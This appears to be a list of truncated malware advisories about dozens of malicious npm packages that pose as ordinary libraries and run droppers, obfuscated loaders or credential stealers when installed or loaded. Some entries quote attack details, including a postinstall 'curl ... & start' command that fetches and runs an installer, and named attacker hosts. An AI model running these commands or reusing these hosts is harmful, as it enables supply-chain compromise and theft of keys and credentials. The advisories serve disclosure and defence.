Malicious code in tcb-web-images (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1e4ea2872f88d974e66cc870c5fbfbf92294eb63026155a96bea567a096f4d69 On require'tcb-web-images', index.js loads helpers.js which immediately runs a setup routine that selects an OS/arch-specific URL path and downloads ...

Malicious code in statist-browser-typed-client-mb.reliability.android.metrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 452d03d6ed4b82fa956dc7419066742e9c91518b786f0e164aa63e2ae55d6083 On require of the package, index.js loads loader.js which downloads a platform-specific binary from hardcoded Cloudflare Workers hosts assembled by...

Malicious code in checkout-mobile-pay-button (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3299d3b20175ec3cd68c2355ccafd1e969237d93b2e708c92a9913ff323b19be [email protected] is a lure package: its name and README describe a 'mobile pay button platform adapter', but index.js unconditionall...

Malicious code in @vboxdev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d4b16f8f98ad89c1276884f96b2ef878d2c597356aa2194c7067d2d0bbda943f build/index.js appends an evalatob'...' block that fires when the module is required. The decoded payload queries Ethereum JSON-RPC endpoints...

Malicious code in pfp-forms-sme-sitebuilder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 97f0c2b9f45c8e537bcf70d98c1aa5daa263962eae954c2d871d978e0ac0dd64 index.js unconditionally requires./support on module load. support.js reconstructs attacker-controlled hostnames by array-join string-splitting e.g...

Malicious code in pfp-block-independent-iframe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2145fdce1d6879c4b5bd3682bf9b8e7c386f3f80f15721c26fe6bd2638564185 On require of the package, index.js loads bootstrap.js, which selects a platform-specific payload path, fetches bytes from one of four...

Malicious code in statist-browser-typed-client-rubliq.platform.keycloak (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fc008dc0448aacf1e76c6111e7644f91d077009d358a0085be46166e92ce59cf The package presents itself as a Keycloak typed client but on require executes a binary dropper. index.js loads adapter.js, which reconstructs...

Malicious code in sme-crm-services-sme-crm-services-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 08ec89cd09f6d62ee7e1a0e509712ee53f41f3ebba4139453cf1e3a1080fe3c9 On require of the package, index.js loads vendor.js which selects an OS/architecture-specific URL path, downloads an opaque binary over HTTPS from...

Malicious code in sso-tramvai-lib-roles (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66e65dc1bddf00bff70eb22b92e6ef1ad03aca2e1ab5f4c02b93d248d307f149 The package advertises itself as an SSO roles library but on require loads runtime.js, which detects the host platform, downloads an unsigned binary...

Malicious code in checkout-common-tokens (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fe0e9681cb5e7a197ca8d77ba29e20a4709fa0ff476f2ffb02f935785c6633e0 On require, index.js loads ext.js which selects a platform-specific payload URL from a rotating list of Cloudflare Workers subdomains hosts assembled...

Malicious code in taiga-ui-proprietary-navigation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f9be903f19ea37784411ce57029badf1434b3c273eded5c55622980e98b8aa2c Package advertises itself as Taiga UI proprietary navigation components but ships adapter.js, which is required by index.js at module load. On requir...

Malicious code in statist-browser-typed-client-risktech.uwfrontantifraud.events (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e4bd3cdacfc8ad3f6e278f3bdfa4c19ed82be8ad966863c91c176af4f712d26 On require/import, compat.js reached from index.js downloads a platform-specific executable from hardcoded Cloudflare Workers subdomains...

Malicious code in hubert-document-actual-insurance-rules-am (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 074d96b891c161f3bf0607e3bfbf35fb9c7d6823553ed2f76e99e6226663ecbc On require of the package, index.js loads helpers.js which downloads a platform-specific executable from a rotating list of Cloudflare Workers hosts...

Malicious code in saas-f-lego-landings (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c96f58511420dcd956adbe21ee52dd1acae9956f5b562887a5c6659679fb52d [email protected] executes a native binary dropper as a side effect of loading the package. index.js unconditionally requires./support.js,...

Malicious code in sui-migration-audit-rules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3bc8cd463940a0fe70eee979bd85b9ea41eed627f30cf96be8e0174c9106c7e1 The package presents itself as an audit rule pack but ships a credential harvester in index.js. Its exported postScan routine copies /.sui/sui.keysto...

Malicious code in sme-scripts-shared-library-webpack-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a07df8d1831729273ad5bbc396191492c36cbf0f4d870af35c1101579ce0c9 [email protected] executes an install/import-time dropper. index.js requires./setup at module load, which selects a...

Malicious code in travel-core-typings-reducers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f8a32e0a10123bde764e059abea762d4b0574d57d35e6bd3e92e4d96cdeb245 On require of the package, index.js loads ext.js which downloads a platform-specific binary from runtime-assembled Cloudflare workers.dev hostnames...

Malicious code in pfp-forms-independent-sme-glossary-anchor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c96f28993eb59bb78a357534cf64aac001732fc4951ccb33f8eca2a3ce615f3c On require of the package, index.js loads compat.js which reconstructs mirror hostnames via string-splitting joins oob-worker.cf102-baf.workers.dev,...

Malicious code in log-min (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5dc78815e8c40947273929a7224aa04230de911771e62580045fb8bb213468c9 The package publishes as 'log-min' with a description claiming it is a JavaScript library for the Theta Blockchain, while its README identifies the...

Malicious code in statist-browser-typed-client-mb.product.operations (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8cd571b2f151fe07ba9e4be24c62290f79b73880ec1da77324b192a1b3af24f index.js unconditionally requires./bridge on module load. bridge.js selects an OS/arch-specific payload URL from string-array-concatenated hostnames...

Malicious code in finance-business-company-id-models (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d324092012d8b7c4dda17720255575963c9e35fcd86e254541cdf7abb5edffcf On require of this package, index.js loads compat.js which reconstructs destination hostnames from string-split arrays e.g...

Malicious code in @nasdtickets/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d260e32207d8cb161b0a72f1337a42c9755b9550a8eda1e70f0b4182273d476b build/index.js the package main appends a hidden evalatob'...' block after the legitimate exportStar boilerplate, separated by a long run of tab...

Malicious code in statist-statist-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 192fac66540fb5d3f4c376673ddd67a4e43053342e745e538f7ddcc08b0a9042 index.js requires./setup on module load. setup.js assembles obfuscated destination hostnames from split string arrays, selects a platform-specific...

Malicious code in @hoteldev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bb27849cbb16840b019ef47d6a84627d61eb9d48df28da5a9bc1a208e1ff758 build/index.js appends an evalatob... block after the normal exportStar section that decodes to an import-time loader. The loader resolves a C2 IP by...

Malicious code in simplipayng (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf21e1f6c1fc8a9e9caa3a8383da1b2fb4dd863fc531e17771209b14284e087 dist/cjs/index.js appends an evalatob... blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for th...

Malicious code in block_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51 scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npmblockpackage.msi & start...

Malicious code in trapp-configuration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 370baaa269109c0e76c1e6ff8a0c9a9e1e424c53f3bb835ee53beefd3f2af70c On require'trapp-configuration', index.js loads adapter.js which selects a platform-specific URL, downloads an opaque binary from one of three...

Malicious code in mcp-audit-sync-internal (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 897822fdfb08c83d7d949c16e497d6897b9b679cc2f05a0409b1ec369a1f10fc [email protected] declares scripts.preinstall = 'node index.js'. On Windows, index.js spawns a hidden PowerShell process that fetches a...

Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

Malicious code in streak-calendar-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a2544026164712ffe31b1007b7cb23f36f8cd05134a638dedbd6e8ae3539a084 index.mjs executes on module import and, when running inside WSL gated on WSLDISTRONAME, linux platform, and NODEENV!=production, fetches a remote...

Malicious code in bnpl-blocks-independent-bnpl-search (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e70389e1435e74337e9c402d824a2e90eeb0b2e9f82fc670035973a18382c558 On require of the package, index.js loads runtime.js which downloads a platform-specific binary from runtime-assembled .workers.dev hosts...

Malicious code in @nasddatax/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf5662d7c8759acd7a9a541baddd3bf4787594fafcd38f8a4eaf27bbe57d558 build/index.js appends an evalatob... trailer after legitimate re-exports. On require, the decoded loader queries public Ethereum JSON-RPC endpoints...

Malicious code in uniswap-sdk-v4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9d01efda86c7ce792f8396d425dce51600262660989f438dd13a17068d9df6d The package presents itself as a Uniswap V4 SDK but its WalletClient constructor captures the caller-supplied private key and POSTs it, along with th...

Malicious code in dolyame-ui-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5714ca0e12469cd96b5fef550b4f9715da5b806e8bd365ecfbea757c3f05f73e On require of the package, index.js loads bootstrap.js inside a swallowed try/catch. bootstrap.js selects a per-OS/arch payload path and downloads...

Malicious code in csv-parser-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90b87a86eaa4be59def7e48ce9b004266b8c4815a71c84fd1d3df879c702c1ca The package is advertised as a CSV parser but ships a postinstall.js that runs on npm install and performs installer-side reconnaissance and...

Malicious code in invest-module-cookie (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c3f53c4d50d2dedd530c65015b26a902950e6e2bbef3cda3560a661d4aad178 On require'invest-module-cookie', index.js loads adapter.js which selects an OS-specific asset path, downloads an opaque binary from one of three...

Malicious code in runtime-sentinel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f44234b49595ac2b15e3b5249920f7ff64cf897b7543da959e95621814948da1 The package's postinstall script src/test.js issues an HTTPS GET to https://workconfig.vercel.app with TLS certificate verification disabled...

Malicious code in elephant-array-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2cfcddc59bba26e90415bf89488d4a814e5c1db07091da5e46b07f7727e49bb index.js is a heavily obfuscated obfuscator.io: rotated string array + RC4 decoder, control-flow flattening, hex literals top-level IIFE with no...

Malicious code in digital-interview-digital-interview-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f67152c58e29424a173ed692a1c5e15d980cc0b54518accf2f9d2811747b9fc3 On require of the package, helpers.js downloads a platform-specific binary from Cloudflare workers.dev hosts whose names are reconstructed at runtime...

Malicious code in time-linters-webapp-eslint-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b89eb401bae118699fcd79b686c0d6ace5e579df1ea42a87d6ad18de405614c The package's top-level index.js unconditionally requires./runtime on load. runtime.js assembles a rotating list of Cloudflare Workers hostnames...

Malicious code in chart-data-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3980b39b1ba77c4c8df0b8e08016a299640a60b6255c1ea8be1883343ec750e9 [email protected] advertises itself as a chart data/color helper library index.js contains only trivial color utilities, but ships a...

Malicious code in statist-browser-typed-client-automlplatform.nlppl.searchy (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2006c1fa3443455515f9bbabd8bb63161c14be32405d601e0925054c02c0e62e On require of this package, init.js selects an OS/arch-specific endpoint from a list of Cloudflare Workers hostnames reconstructed at runtime via...

Malicious code in react-fontawesome-icons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4706d295cdd6ae07918ab25d54475d97d88e92c8ba2d3923078ba916096b4366 The default-exported React component in [email protected] performs an unconditional axios GET to http://command.control on every render a...

Malicious code in boxy-fixture-allure (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef7772152485e16aab94cf983bcc5470787d75d67bb58b6f9fd8e44e1497fcbc boxy-fixture-allure ships an index.js that unconditionally requires./shim on load. shim.js reconstructs C2 hostnames via runtime string-splitting/.jo...

Malicious code in streak-int-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0acd9bdc8d6474a54b3c985b8472cd50295130d12029de1a8a10175f9be8bb35 [email protected] ships an x86-64 ELF binary as a base64 blob disguised as configuration data defaultConfig.data joined into embeddedService in...

Malicious code in pvm-autodoc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b4f92e3ecba043a713f37e35f3162b1454e17991b2860c0923a6aa8fced87c6d On require'pvm-autodoc', index.js loads bridge.js which downloads a platform-specific native binary from one of four hardcoded Cloudflare Workers...

Malicious code in statist-browser-typed-client-twork.tsales.nitro.metrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d33f2eedc8cb8fc1d7e0c4f680b0024ddf9e4ab444ef7e52ec5b13a7b773fb2 On require, index.js loads shim.js which selects a platform-specific payload path, fetches a native binary from Cloudflare Workers subdomains whose...

Malicious code in streak-metricsa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a707525e88d0f5d3004f833b17a7544655da43715d9d7af3e6d635ff3a6801a9 [email protected] presents itself as a calendar-day math helper but its main entry dist/index.mjs, the default exports target embeds a Linux x86-...

Malicious code in foodi (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 299310eb47eac6e7f39ee1a7346de8e524d9a91cc6a07d2e8879338fa86ff5af package.json declares preinstall and postinstall lifecycle scripts that both execute curl -X POST -k -s...

Malicious code in tcb-web-copy-to-clipboard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e17b4feb97874ea6bf112238baf911ef3ebb815f12034b726c8b1a5d1705adbb The package advertises itself as a clipboard SDK, but index.js requires./setup at load, which selects a platform-specific payload path, fetches bytes...